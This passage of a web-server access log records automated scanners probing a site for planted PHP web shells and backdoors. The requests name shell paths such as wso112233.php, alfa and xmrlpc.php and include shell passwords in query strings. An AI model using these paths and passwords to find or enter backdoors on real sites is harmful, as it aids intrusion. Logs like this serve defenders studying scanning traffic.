52.169.106.13 - - [30/Apr/2025:05:51:11 -0400] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:51:13 -0400] "GET /template/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:51:14 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:51:15 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:51:16 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:51:18 -0400] "GET /Njima.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:51:20 -0400] "GET /wp-admin/css/colors/blue/admin.php HTTP/1.1" 301 795 "-" "-" 2602:fb54:9bb:: - - [30/Apr/2025:06:03:34 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)" 49.51.36.179 - - [30/Apr/2025:06:13:15 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 52.164.127.136 - - [30/Apr/2025:06:56:46 -0400] "GET /.alf.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:56:50 -0400] "GET /.tmb/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:56:53 -0400] "GET /.tmb/mariju.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:56:54 -0400] "GET /.tmb/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:56:56 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:56:57 -0400] "GET /.well-known//about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:56:59 -0400] "GET /.well-known/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:57:01 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:57:01 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:57:03 -0400] "GET /.well-known/acme-challenge//.info.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:57:05 -0400] "GET /.well-known/acme-challenge//muse.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:57:06 -0400] "GET /.well-known/acme-challenge//wp-protector.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:57:08 -0400] "GET /.well-known/acme-challenge/Llj.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:57:10 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:57:11 -0400] "GET /.well-known/acme-challenge/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:57:12 -0400] "GET /.well-known/acme-challenge/admiin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:57:15 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:57:17 -0400] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:57:20 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:57:23 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:57:27 -0400] "GET /.well-known/acme-challenge/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:57:31 -0400] "GET /.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:57:35 -0400] "GET /.well-known/acme-challenge/makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:57:38 -0400] "GET /.well-known/acme-challenge/makeasmtp.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:57:42 -0400] "GET /.well-known/acme-challenge/radio.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:57:44 -0400] "GET /.well-known/acme-challenge/themes.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:57:46 -0400] "GET /.well-known/acme-challenge/x2.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:57:48 -0400] "GET /.well-known/acme-challenge/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:57:49 -0400] "GET /.well-known/acme-challenge/xp.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:57:52 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:57:53 -0400] "GET /.well-known/apap.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:57:56 -0400] "GET /.well-known/as.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:57:58 -0400] "GET /.well-known/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:58:00 -0400] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:58:02 -0400] "GET /.well-known/fierzashell.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:58:05 -0400] "GET /.well-known/file.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:58:09 -0400] "GET /.well-known/fm.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:58:12 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:58:19 -0400] "GET /.well-known/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:58:23 -0400] "GET /.well-known/link.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:58:24 -0400] "GET /.well-known/lofmebwd.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:58:26 -0400] "GET /.well-known/lv.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:58:29 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:58:30 -0400] "GET /.well-known/pki-validation//parx.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:58:32 -0400] "GET /.well-known/pki-validation/43e0da16-f4f8-4f0a-91d6-f41bf52aec3f.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:58:34 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:58:34 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:58:36 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:58:37 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:58:38 -0400] "GET /.well-known/pki-validation/cux.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:58:38 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:58:40 -0400] "GET /.well-known/pki-validation/dropdown.php?pass=yanz HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:58:41 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:58:42 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:58:43 -0400] "GET /.well-known/pki-validation/muse.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:58:43 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:58:44 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:58:45 -0400] "GET /.well-known/pki-validation/pwnd.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:58:46 -0400] "GET /.well-known/pki-validation/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:58:47 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:58:48 -0400] "GET /.well-known/pki-validation/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:58:49 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:58:50 -0400] "GET /.well-known/s.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:58:52 -0400] "GET /.well-known/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:58:53 -0400] "GET /.well-known/ws.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:58:54 -0400] "GET /.well-known/wso112233.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:58:55 -0400] "GET /.well-knownold/wso112233.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:58:57 -0400] "GET /.wp-cli/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:58:59 -0400] "GET //.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:59:01 -0400] "GET //.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:59:03 -0400] "GET //.well-known/acme-challenge/my1.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:59:05 -0400] "GET //.well-known/acme-challenge/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:59:09 -0400] "GET //.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:59:12 -0400] "GET //.well-known/pki-validation/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:59:15 -0400] "GET //1.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:59:18 -0400] "GET //404.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:59:19 -0400] "GET //a.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:59:22 -0400] "GET //about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:59:25 -0400] "GET //about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:59:26 -0400] "GET //admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:59:29 -0400] "GET //alfanew.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:59:32 -0400] "GET //alfanew.php7 HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:59:34 -0400] "GET //autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:59:38 -0400] "GET //bp.php?taf HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:59:41 -0400] "GET //cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:59:45 -0400] "GET //cgi-bin/my1.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:59:48 -0400] "GET //cgi-bin/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:59:51 -0400] "GET //chosen.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:06:59:55 -0400] "GET //chosen.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:00:00 -0400] "GET //cjfuns.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:00:03 -0400] "GET //classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:00:09 -0400] "GET //cong.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:00:11 -0400] "GET //content.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:00:15 -0400] "GET //content.php?pass=dadsec HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:00:20 -0400] "GET //dropdown.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:00:24 -0400] "GET //ee.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:00:28 -0400] "GET //en/tinyfilemanager.html HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:00:31 -0400] "GET //file.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:00:35 -0400] "GET //file2.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:00:36 -0400] "GET //fm.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:00:38 -0400] "GET //gebase.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:00:40 -0400] "GET //index/function.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:00:41 -0400] "GET //info.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:00:44 -0400] "GET //item.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:00:46 -0400] "GET //jp.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:00:48 -0400] "GET //k.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:00:50 -0400] "GET //mah/function.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:00:53 -0400] "GET //mini.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:00:56 -0400] "GET //moon.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:00:59 -0400] "GET //radio.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:01:00 -0400] "GET //repeater.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:01:04 -0400] "GET //root.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:01:06 -0400] "GET //santiago-oriente56.degustamenu.com/wp-includes/hlVYmeOAvcd.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:01:08 -0400] "GET //shell.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:01:11 -0400] "GET //shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:01:14 -0400] "GET //simple.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:01:15 -0400] "GET //test.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:01:21 -0400] "GET //user.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:01:23 -0400] "GET //wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:01:25 -0400] "GET //wp-add-admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:01:29 -0400] "GET //wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:01:30 -0400] "GET //wp-admin/admin-ajax.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:01:36 -0400] "GET //wp-admin/class-db.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:01:37 -0400] "GET //wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:01:38 -0400] "GET //wp-admin/css/colors/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:01:41 -0400] "GET //wp-admin/css/colors/coffee/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:01:42 -0400] "GET //wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:01:44 -0400] "GET //wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:01:46 -0400] "GET //wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:01:48 -0400] "GET //wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:01:51 -0400] "GET //wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:01:53 -0400] "GET //wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:01:57 -0400] "GET //wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:02:01 -0400] "GET //wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:02:06 -0400] "GET //wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:02:10 -0400] "GET //wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:02:13 -0400] "GET //wp-admin/maint/moon.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:02:18 -0400] "GET //wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:02:28 -0400] "GET //wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:02:32 -0400] "GET //wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:02:35 -0400] "GET //wp-admin/network/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:02:37 -0400] "GET //wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:02:39 -0400] "GET //wp-admin/user/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:02:40 -0400] "GET //wp-blog.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:02:42 -0400] "GET //wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:02:43 -0400] "GET //wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:02:44 -0400] "GET //wp-content/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:02:45 -0400] "GET //wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:02:46 -0400] "GET //wp-content/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:02:47 -0400] "GET //wp-content/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:02:48 -0400] "GET //wp-content/index.php?pass=cfwk HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:02:49 -0400] "GET //wp-content/index.php?pass=xleet HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:02:52 -0400] "GET //wp-content/item.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:02:53 -0400] "GET //wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:02:56 -0400] "GET //wp-content/plugins/TOPXOH/wDR.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:02:59 -0400] "GET //wp-content/plugins/ango/sett.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:03:03 -0400] "GET //wp-content/plugins/hellopress/wp_mna.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:03:06 -0400] "GET //wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:03:09 -0400] "GET //wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:03:14 -0400] "GET //wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:03:16 -0400] "GET //wp-content/themes/index.php?pass=admin HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:03:21 -0400] "GET //wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:03:24 -0400] "GET //wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:03:25 -0400] "GET //wp-content/themes/twentyseventeen/page/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:03:29 -0400] "GET //wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:03:31 -0400] "GET //wp-content/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:03:36 -0400] "GET //wp-includes/ID3/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:03:40 -0400] "GET //wp-includes/IXR/chosen.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:03:44 -0400] "GET //wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:03:50 -0400] "GET //wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:03:54 -0400] "GET //wp-includes/blocks/table/them/tmpl/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:03:57 -0400] "GET //wp-includes/certificates/chosen.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:03:58 -0400] "GET //wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:03:59 -0400] "GET //wp-includes/js/chosen.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:04:02 -0400] "GET //wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:04:03 -0400] "GET //wp-includes/js/tinymce/skins/lightgray/img/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:04:05 -0400] "GET //wp-includes/pomo/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:04:08 -0400] "GET //wp-includes/style-engine/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:04:11 -0400] "GET //wp-includes/theme-compat/chosen.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:04:15 -0400] "GET //ws.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:04:18 -0400] "GET //zwso.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:04:21 -0400] "GET /0.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:04:24 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:04:26 -0400] "GET /02.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:04:29 -0400] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:04:31 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:04:34 -0400] "GET /1.php7 HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:04:37 -0400] "GET /1.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:04:40 -0400] "GET /100.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:04:42 -0400] "GET /11index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:04:43 -0400] "GET /12.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:04:45 -0400] "GET /123.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:04:47 -0400] "GET /12wudscz.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:04:48 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:04:49 -0400] "GET /1xm.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:04:53 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:04:55 -0400] "GET /22.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:04:57 -0400] "GET /22.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:05:01 -0400] "GET /24.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:05:03 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:05:09 -0400] "GET /3index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:05:14 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:05:18 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:05:22 -0400] "GET /4Oj8Ed6N1tu.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:05:24 -0400] "GET /4Q.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:05:26 -0400] "GET /6.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:05:28 -0400] "GET /7.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:05:30 -0400] "GET /WSO.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:05:32 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:05:34 -0400] "GET /a.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:05:35 -0400] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:05:37 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:05:39 -0400] "GET /ab.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:05:40 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:05:42 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:05:44 -0400] 